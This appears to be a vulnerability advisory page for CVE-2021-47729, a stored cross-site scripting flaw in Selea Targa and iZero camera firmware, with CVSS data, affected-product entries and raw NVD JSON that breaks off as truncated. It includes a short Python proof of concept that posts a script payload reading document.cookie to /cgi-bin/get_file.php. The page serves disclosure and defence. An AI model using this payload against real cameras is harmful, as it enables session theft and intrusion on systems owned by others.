Security Vulnerability Report
中文
CVE-2021-47729 CVSS 5.4 MEDIUM

CVE-2021-47729

Published: 2025-12-09 21:15:51
Last Modified: 2026-02-23 19:00:01

Description

Selea Targa IP OCR-ANPR Camera contains a stored cross-site scripting vulnerability in the 'files_list' parameter that allows attackers to inject malicious HTML and script code. Attackers can send a POST request to /cgi-bin/get_file.php with crafted payload to execute arbitrary scripts in victim's browser session.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:o:selea:izero_box_full_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:selea:izero_box_full:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:selea:izero_column_entry\/8_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:selea:izero_column_entry\/8:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:selea:izero_column_full\/8_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:selea:izero_column_full\/8:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:selea:targa_504_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:selea:targa_504:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:selea:targa_512_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:selea:targa_512:-:*:*:*:*:*:*:* - NOT VULNERABLE
Selea Targa IP OCR-ANPR Camera (all versions)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2021-47729 Stored XSS PoC # Target: Selea Targa IP OCR-ANPR Camera # Endpoint: /cgi-bin/get_file.php target_url = "http://target-ip/cgi-bin/get_file.php" # Malicious XSS payload xss_payload = "<script>alert(document.cookie)</script>" # POST request with XSS payload in files_list parameter data = { "files_list": xss_payload } try: response = requests.post(target_url, data=data, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response: {response.text[:500]}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2021-47729", "sourceIdentifier": "[email protected]", "published": "2025-12-09T21:15:51.400", "lastModified": "2026-02-23T19:00:01.170", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Selea Targa IP OCR-ANPR Camera contains a stored cross-site scripting vulnerability in the 'files_list' parameter that allows attackers to inject malicious HTML and script code. Attackers can send a POST request to /cgi-bin/get_file.php with crafted payload to execute arbitrary scripts in victim's browser session."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:selea:izero_box_full_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "3BC5F782-F358-4E13-88CD-8AF6F631D136"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:selea:izero_box_full:-:*:*:*:*:*:*:*", "matchCriteriaId": "8736E8B4-238F-4BB9-900A-44D34AEEA244"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:selea:izero_column_entry\\/8_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "6A73F7A2-DCD9-42F1-93AE-147703747B9E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:selea:izero_column_entry\\/8:-:*:*:*:*:*:*:*", "matchCriteriaId": "003FFAA4-87FC-4CA1-B0F7-A4DC1FD8F6AE"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:selea:izero_column_full\\/8_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "992C33A2-04E4-481D-A336-3850D0A823EC"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:selea:izero_column_full\\/8:-:*:*:*:*:*:*:*", "matchCriteriaId": "0F62AF0A-B754-4DCF-A6B1-34DCEB11B090"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:selea:targa_504_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "55482174-E8FD-4003-BABE-A195484C79F9"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:selea:targa_504:-:*:*:*:*:*:*:*", "matchCriteriaId": "8FB2771E-91E8-45C7-9EB2-D84B46F6802D"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:selea:targa_512_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "4C4451B5-C9EB-4A7E-8D9A-6F5AA66F43BA"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:selea:targa_512:-:*:*:*:*:*:*:*", "matchCriteriaId": "22626DE4-BB35-49C9-803B-29B6E017CA02"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerabl ... (truncated)